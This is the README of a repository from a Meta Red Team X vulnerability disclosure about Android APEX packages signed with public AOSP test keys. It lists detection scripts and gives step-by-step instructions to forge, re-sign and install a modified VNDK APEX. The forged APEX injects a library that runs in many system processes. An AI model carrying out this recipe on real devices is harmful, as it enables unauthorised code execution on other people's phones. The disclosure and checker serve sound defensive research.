This repository is provided AS IS to accompany a Meta Red Team X vulnerability disclosure. It is not an official Meta project and will not be supported like one.
A set of scripts and artifacts that demonstrate detection and exploitation of Android devices that ship APEXes signed with test keys from AOSP. See our blog post "Missing signs: how several brands forgot to secure a key piece of Android" for full details of the issue.
apex-checker/
: A set of Bash scripts to save digests of known test keys and check APEXes en masse for signatures from those keys.apex-forger/
: Lightweight wrappers around AOSP'sapexer
anddeapexer
tools that make it easy to unpack, modify, and repack an APEX. Like apktool for APEXes.vndk-libt/
: Source code for a library we added to a vulnerable APEX to prove we can get code execution. All it does is print the command line of each process that loads it to logcat.
- Clone a recent AOSP source tree (Android 13-ish), envsetup+lunch,
and run
m apexer deapexer apksigner
to build the needed tools. - Update
envsetup.sh
(the one here, not the one in AOSP) to point$AOSP
and$ANDROID_HOST_OUT
to the appropriate places. - Obtain any Android device. Update it and enable ADB.
- Run
adb shell getprop ro.build.version.sdk
andadb shell getprop ro.vndk.version
. - If the two match,
adb pull /system/apex/com.android.vndk.current.apex vndk.apex
. If not,adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex
, where<NN>
isro.vndk.version
. - Check if the APEX is vulnerable with
apex-checker/check.sh vndk.apex
. If the output doesn't start with "OI" (indicating both the outer and the inner signatures are from test keys), this PoC cannot be used (although that does not guarantee the device is secure, as other APEXes may still be vulnerable). - Unpack the APEX with
apex-forger/unpack.sh vndk.apex vndk
. - Try patching
libutils.so
in the extracted APEX to load our injectedlibt.so
:git apply --directory=vndk vndk-libt/libutils-v31.patch
. If that doesn't work (e.g. different VNDK version), use a hex editor to manually changelibc.so
tolibt.so
in the appropriateDT_NEEDED
ofvndk/payload/lib64/libutils.so
. - Build
libt.so
by runningndk-build
insidevndk-libt/
. Copyvndk-libt/libs/arm64-v8a/libt.so
tovndk/payload/lib64/libt.so
. - Extract
canned_fs_config
fromapex_build_info.bp
. There's no tool to do this easily: the closest isprotoc --decode_raw <vndk/apex_build_info.bp
followed by manually unescaping field #3. Placecanned_fs_config
invndk/
. - Add a line to
canned_fs_config
, like all the others, for/lib64/libt.so
. - Download the test keys for the appropriate VNDK version from here.
- Repack the APEX with
apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}
. - Run
adb install vndk/forged.apex
. - Run
adb reboot && adb logcat -s RTXPoC:D
. - Observe numerous
RTXPoC
log messages, each from a process we can execute code in.
The hashes in apex-checker/apk-keys.txt
and apex-checker/avb-keys.txt
correspond to the outer and inner test keys for the following APEXes. Note that
there are also -goog
variants of those two lists, which were created by
Google after our initial report. Those lists are in general more complete, but
we do not know exactly which keys they contain.
- com.android.appsearch
- com.android.art
- com.android.btservices
- com.android.i18n
- com.android.mediaprovider
- com.android.ondevicepersonalization
- com.android.permission
- com.android.rkpd
- com.android.runtime
- com.android.uwb
- com.android.virt
- com.android.vndk.v28
- com.android.vndk.v29
- com.android.vndk.v30
- com.android.vndk.v31
- com.android.vndk.v32
- com.android.vndk.v33
- com.android.wifi